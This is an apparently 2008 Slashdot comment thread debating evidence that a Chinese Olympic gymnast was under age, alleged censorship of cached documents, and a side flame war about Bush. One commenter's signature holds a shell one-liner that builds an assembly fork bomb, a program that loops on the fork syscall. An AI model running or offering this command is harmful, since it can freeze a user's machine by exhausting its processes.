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Hacker Uncovers Chinese Olympic Fraud
SkeptOlympics writes "A new chapter in the ongoing controversy surrounding China's women's gymnastics team opened today, as search engine hacker stryde.hax found surviving copies of official registration documents issued by China's General Administration of Sport of China. The incriminating documents, expunged by censors from the official site and from Google's document cache, still appear in the document translation cache of Chinese search giant Baidu, here (1) and here (2), showing the age of one of China's gold medal winning gymnasts to be 14 instead of 16, the minimum age for competition presented on her government-issued passport. Now that official government documentation is available, how long will the IOC be able to keep a lid on this scandal?" I imagine the answer is "Forever."
is this seen as a scandal the world over, or just in America? No doubt many in China will believe that the gov on this and ignore the evidence (even if the girls and their parents come forward and admit it as well). But Do many in EU, South America, Africa, Asia Minor, Japan, South Korea, oceana, etc see this as a pretty wicked scandel of both Chinese gov AND IOC?
I prefer the "u" in honour as it seems to be missing these days.
The IOC is going to lose a LOT of credibility over this (as if they have much left to begin with) if they don't do something about it soon.
I wouldn't even mind if they didn't award the gold to the American women. Let them keep the silver, but it needs to be stripped from the Chinese. This is only proof of one of them being underage, but from what I've been reading, it's starting to seem pretty certain that at least 3 of them are underage.
And if China was willing to cheat this blatantly in this event, it makes you wonder what might have been going on behind closed doors with the rest of their athletes.
So much for don't be evil...
"We are all geniuses when we dream"
- E.M. Cioran
This gossip and tabloid type scandal is perfect for more distraction of the public. Even if nothing happens now, in China- The US news will be plastered.
What war in Iraq?
Dude, the war in Iraq isn't going anywhere.
Neither is the war in Georgia/Ossetia.
And the Olympics are over in a few days.
Everyone with a tv or radio knows that Condi Rice is skipping the closing ceremonies because of emergency NATO meetings about Russian & because Musharraf just resigned.
Part of the reasons the IOC chose China was to shine a spotlight on their censorious, opaque and human-rights-violating ways. The idea being that, if the Chinese government gets enough egg on their face, they might decide anything is better than being humiliated/embarrassed in front of the world. At most, that high wattage bulb is going to be shining for another week.
[Fuck Beta]
o0t!
Unlike "Do no Evil" Google.
http://strydehax.blogspot.com/2008/08/hack-olympics.html
1. Google's cached copy of the spreadsheet does not contain Hexin's age record, and Baidu's does. This does not necessarily imply that Google allowed its data to be rewritten by Chinese censors, but the possibility does present itself.
2. From the minute I pressed the publish button on this blog, the clock is ticking until Hexin's true age is wiped out of the Baidu cache forever. It is up to you, the folks reading this blog, to take your own screenshots and notarize them by publishing them. If you put a link in the comments section, I'll post it.
Hmm, that reminds me of something
http://en.wikipedia.org/wiki/Memory_hole
In the walls of the cubicle there were three orifices. To the right of the speakwrite, a small pneumatic tube for written messages, to the left, a larger one for newspapers; and in the side wall, within easy reach of Winston's arm, a large oblong slit protected by a wire grating. This last was for the disposal of waste paper. Similar slits existed in thousands or tens of thousands throughout the building, not only in every room but at short intervals in every corridor. For some reason they were nicknamed memory holes. When one knew that any document was due for destruction, or even when one saw a scrap of waste paper lying about, it was an automatic action to lift the flap of the nearest memory hole and drop it in, whereupon it would be whirled away on a current of warm air to the enormous furnaces which were hidden somewhere in the recesses of the building.(pp. 34-35 1984 by George Orwell)
Totalitarian societies will always have memory holes to destroy documents with politically inconvenient facts in them, and armies of minions writing replacement documents without those facts. But it's very, very sad to see Google seemingly cooperating in this process.
I took a screenshot of the age in the Baidu cache -
http://img354.imageshack.us/img354/2111/199411bw0.png
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's to do with the safety of the competitors (underdeveloped bones etc.) as gymnastics takes much more of a toll on your body than swimming (being exceedingly hig. I would wager being younger, and lighter, also helps on things like the Asymmetric Bars.
If my recollection of Sanjay Gupta's comments on CNN is of any value, I believe the issue is the opposite, namely that underdeveloped bones confer a real advantage to the athlete (they're more "bendy" in addition to being "lighter").
1. In some areas of gymnastics being young gives you and advantage.
2. The training can be very harmful to young women.
3. It is the rules. You know just like it is a rule that you can not take certain drugs, use certain tennis rackets, and so on.
So these Olympics has really been a show case for China.
It shows that they will say one thing like agreeing to freedom of the press and then do something totally different.
And that they will cheat at the Government level even for something so trivial as winning a game.
Oh and that they think clean air is just not all that important.
Good show.
See my blog http://ilovecookes.blogspot.com/ for light hearted technical information.
It's not an issue of cheating but an issue of keeping children safe.
The minimum age for diving is even younger: 14. So it obviously has nothing to do with protecting children from the pressure of Olympic competition. Anyway, these kids start training when they're very young, often with the explicit intent of trying to get into the Olympics.
Developers: We can use your help.
There are possible issues regarding an advantage, but I was also under the impression that the rules were (at least partially) there to help protect children from crazy training and undue pressure.
Whatever the case, rules are rules, and the IOC should give out whatever punishment is due. I would assume that some specific action is dictated by their rules in cases where this particular rule has been shown to be broken?
I believe it's called waterboarding in the Bush administration.
Why does everything have to lead back to the Bush Administration. Is your (and the GP's) hatred for Bush so great that there is no room left for true tyrants?
Bush is deserving of immense hatred. He is a true tyrant in his heart.
Given the topic at hand (China), it shows your ignorance as to what a tyrant truly is.
The fact that in two terms he didn't manage to completely dismantle American democracy speaks more to his general inability, and not to his true nature.
Sounds like you are making shit up as you go along. You have no idea what Bush's true nature is. Only Bush himself knows that. Let me try the argument against you. The fact that you are not raping little boys only shows your impotence, not your true nature. My argument is just as valid as yours.
I have not met GW Bush, but being from Houston, I have been at events that his parents attended. My parents have a friend who is bound to a wheel chair and because of this, she has to get seats that are wheelchair accessible. In some venues, these are great seats. Often, we find ourselves sitting close to George HW Bush. HW, as you remember was also president and people like you made similar attacks against him. What I've seen from George HW and Barbara Bush is that they are kind, caring people. I remember at the Houston Rodeo, every time George got up from his seat, he would place his hand on our friend's shoulder, ask how she was doing or some other gesture showing concern. There were no cameras around or press to report his "kindness". He was not running for office or had any other reason to fake concern. He was genuine. I've known people have met our current president under similar circumstances and they have told me that he acted the same. I've known people who work in a restaurant that Bush has eaten at. Often times, he will sneak off to the kitchen to "shoot-the-breeze" with the guys working back there. Things like this show me that when people bash someone relentlessly, they often don't know WTF they are talking about. I place you in that group.
We complain because we still can. We say "Bush is like them (pointing at other tyrants), but we don't want to have government like them."
Would you be happier if we couldn't complain at all? Perhaps that's on the agenda, coming soon to an American reeducation camp near you. Is that what you want?
The fact that we can still complain proves that you are full of shit. When I see you or anyone else hauled off to "reeducation camps" I'll fight with you. But that's not happening, nor will it. Read the following sentence and repeat it until it as necessary: "THERE ARE NO REEDUCATION CAMPS". Your bringing it up shows me that you need to stop reading InforWars.com and put the bong down. You have left reality.
There is no "I disagree" mod for a reason. Flamebait, Troll, and Overrated are not substitutes.
It is the Olympics, not Western Olympics. Every other Eastern country is participating and following the rules just like everyone else. That logic does nothing for your argument.
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This isn't about law. This is about the Olympics. At the Olympics, the IOC has the final word on who gets a gold medal, and who doesn't. The 'laws' which are alleged to have been violated are the rules of the IOC, not the rules of Chinese law. What could be done about it is to disqualify the Chinese gymnast, and take away any gold medals which were awarded to her. That would be pretty extreme, and as you say, I doubt that will be done, because China would, as you say, just deny any evidence that she is too young, and brush it off as a clerical error which has been 'corrected'.